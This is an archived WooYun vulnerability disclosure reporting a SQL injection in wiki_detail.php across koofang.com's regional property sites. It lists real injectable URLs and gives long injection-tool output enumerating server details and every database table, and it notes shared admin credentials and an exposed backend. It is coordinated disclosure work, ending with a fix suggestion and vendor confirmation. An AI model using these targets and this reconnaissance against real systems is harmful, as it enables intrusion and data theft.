乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-04-17: 细节已通知厂商并且等待厂商处理中 2013-04-22: 厂商已经确认,细节仅向厂商公开 2013-05-02: 细节向核心白帽子及相关领域专家公开 2013-05-12: 细节向普通白帽子公开 2013-05-22: 细节向实习白帽子公开 2013-06-01: 细节向公众公开
酷房网某处安全问题通杀全国各地站点
1.存在的注入点为:http://xxx.koofang.com/wiki/wiki_detail.php?id=xxx,wiki_datail.php函数存在问题,通杀全国酷房站点;2.测试了以下站点均存在同样的问题,而且管理员的用户名、密码全一样!!!
http://beijing.koofang.com/wiki/wiki_detail.php?id=126http://shanghai.koofang.com/wiki/wiki_detail.php?id=74http://chengdu.koofang.com/wiki/wiki_detail.php?id=92
3.跑了下表;
Current DB: fang_utf8_beijingCurrent User: [email protected]Sql Version: 5.1.63-logCurrent DB: fang_utf8_beijingSystem User: [email protected]Host Name: Mysql_15Installation dir: /usr/local/mysql-5.1.63/Db user: 'fangutf8'@'192.168.0.%'Data Base Found: information_schemaData Base Found: fang_utf8_beijingData Base Found: test
Table found: access_up_1000Table found: answer_logTable found: answer_one_detailTable found: answer_two_detailTable found: bad_price_sellTable found: borough_info_dayTable found: c21_bestTable found: editor_borough_houseTable found: editor_hotbbsTable found: editor_index_houseTable found: editor_search_houseTable found: fke_adsTable found: fke_ads_placeTable found: fke_ads_statTable found: fke_all_pvTable found: fke_auction_itemTable found: fke_bidTable found: fke_boroughTable found: fke_borough_adviserTable found: fke_borough_avgpriceTable found: fke_borough_bakTable found: fke_borough_dayTable found: fke_borough_drawTable found: fke_borough_draw_bakTable found: fke_borough_evaluateTable found: fke_borough_infoTable found: fke_borough_info_bakTable found: fke_borough_intentionTable found: fke_borough_logTable found: fke_borough_picTable found: fke_borough_pic_bakTable found: fke_borough_trendI got bored of waiting more than 60 seconds! (request timed out)Bypassing illegal union failed! Turning off this featureTable found: fke_borough_updateTable found: fke_broker_aptitudeTable found: fke_broker_avatarTable found: fke_broker_avatar_bakTable found: fke_broker_friendsTable found: fke_broker_identityTable found: fke_broker_infoTable found: fke_broker_info_bakTable found: fke_broker_recommendTable found: fke_broker_starTable found: fke_broker_storemanagerTable found: fke_broker_transactionreportTable found: fke_broker_useTable found: fke_broker_use_bakTable found: fke_chart_new_houseTable found: fke_community_bidTable found: fke_community_bid_bakTable found: fke_community_bid_historyTable found: fke_community_bid_rsTable found: fke_community_bid_rs_bakTable found: fke_community_bid_rs_tempTable found: fke_count_edmTable found: fke_count_ztTable found: fke_ddTable found: fke_dd_itemTable found: fke_dotimeTable found: fke_ent_broker_feeTable found: fke_ent_companyTable found: fke_ent_feeTable found: fke_ent_regionTable found: fke_ent_sftokoo_boroughTable found: fke_ent_storeTable found: fke_ent_storemanagerTable found: fke_ent_userTable found: fke_ent_user_partTable found: fke_gold_logTable found: fke_gold_log_bakTable found: fke_groupTable found: fke_hexun_clickTable found: fke_hot_boroughTable found: fke_hot_borough_tmpTable found: fke_hotsearchTable found: fke_house_agentTable found: fke_house_wantedTable found: fke_house_wantedreplyTable found: fke_housecommunity_hitsTable found: fke_houserentTable found: fke_houserent_bakTable found: fke_houserent_bargainTable found: fke_houserent_cacheTable found: fke_houserent_deleteTable found: fke_houserent_expired_computerTable found: fke_houserent_picTable found: fke_houserent_refresh_cacheTable found: fke_houserent_statTable found: fke_houserent_stat_tempTable found: fke_houserent_tagTable found: fke_houserent_topTable found: fke_housesellTable found: fke_housesell_bakTable found: fke_housesell_bargainTable found: fke_housesell_cacheTable found: fke_housesell_deleteTable found: fke_housesell_expired_computerTable found: fke_housesell_for_explainTable found: fke_housesell_picTable found: fke_housesell_refresh_cacheTable found: fke_housesell_statTable found: fke_housesell_stat_tmpTable found: fke_housesell_tagTable found: fke_housesell_topTable found: fke_housesell_trendTable found: fke_index_viewTable found: fke_innernoteTable found: fke_integral_logTable found: fke_integral_log_bakTable found: fke_integral_ruleTable found: fke_linkclassTable found: fke_memberTable found: fke_member_bakTable found: fke_member_likunTable found: fke_member_loginlogTable found: fke_message_ruleTable found: fke_money_logTable found: fke_outlinkTable found: fke_owner_infoTable found: fke_pingguTable found: fke_pinggu_ddTable found: fke_pinggu_dd_itemTable found: fke_pvTable found: fke_reportTable found: fke_sendSMSTable found: fke_sendmsg_logTable found: fke_shop_confTable found: fke_shop_viewlogTable found: fke_specialTable found: fke_statisticsTable found: fke_themesTable found: fke_themes_detailTable found: fke_timer_refresh_object_allTable found: fke_timer_refresh_object_all_testTable found: fke_timer_refresh_object_dailyTable found: fke_timer_refresh_object_daily_testTable found: fke_timer_solutionTable found: fke_timer_solution_detailTable found: fke_user3Table found: fke_usersTable found: fke_yizhuang_houseTable found: houserent_sphinxseTable found: housesell_sphinxseI got bored of waiting more than 60 seconds! (request timed out)Table found: iplibTable found: operat_logTable found: photo_picsTable found: photo_score_logTable found: photo_themeTable found: photo_voteTable found: record_refreshTable found: refresh_numsTable found: report_borough_count_simple_dailyTable found: report_borough_count_simple_monthlyTable found: report_borough_monthly_temporaryTable found: report_borough_temporaryTable found: report_broker_count_simple_dailyTable found: report_broker_monthscoreTable found: report_broker_monthscore_leaveTable found: report_broker_temporaryTable found: sis_departmentTable found: sis_department_bakTable found: sis_header_tempTable found: sis_levelchangeTable found: sis_shopTable found: sis_shop_bakTable found: soufuntokoofangTable found: sph_office_rent_counterTable found: sph_office_sell_counterTable found: sph_rent_counterTable found: sph_rent_modify_counterTable found: sph_sell_counterTable found: sph_sell_modify_counterTable found: sph_shop_rent_counterTable found: sph_shop_sell_counterTable found: test1Table found: testrent_tempTable found: testsell_tempTable found: textsTable found: tmp_fke_houserentTable found: tmp_fke_housesellTable found: wiki_articleTable found: wiki_catalogTable found: wiki_tag
4.后台很好猜测,都对外开放;
见详细说明
过滤用户输入,限制后台访问
危害等级:高
漏洞Rank:11
确认时间:2013-04-22 09:37
正在紧急修复,感谢~
暂无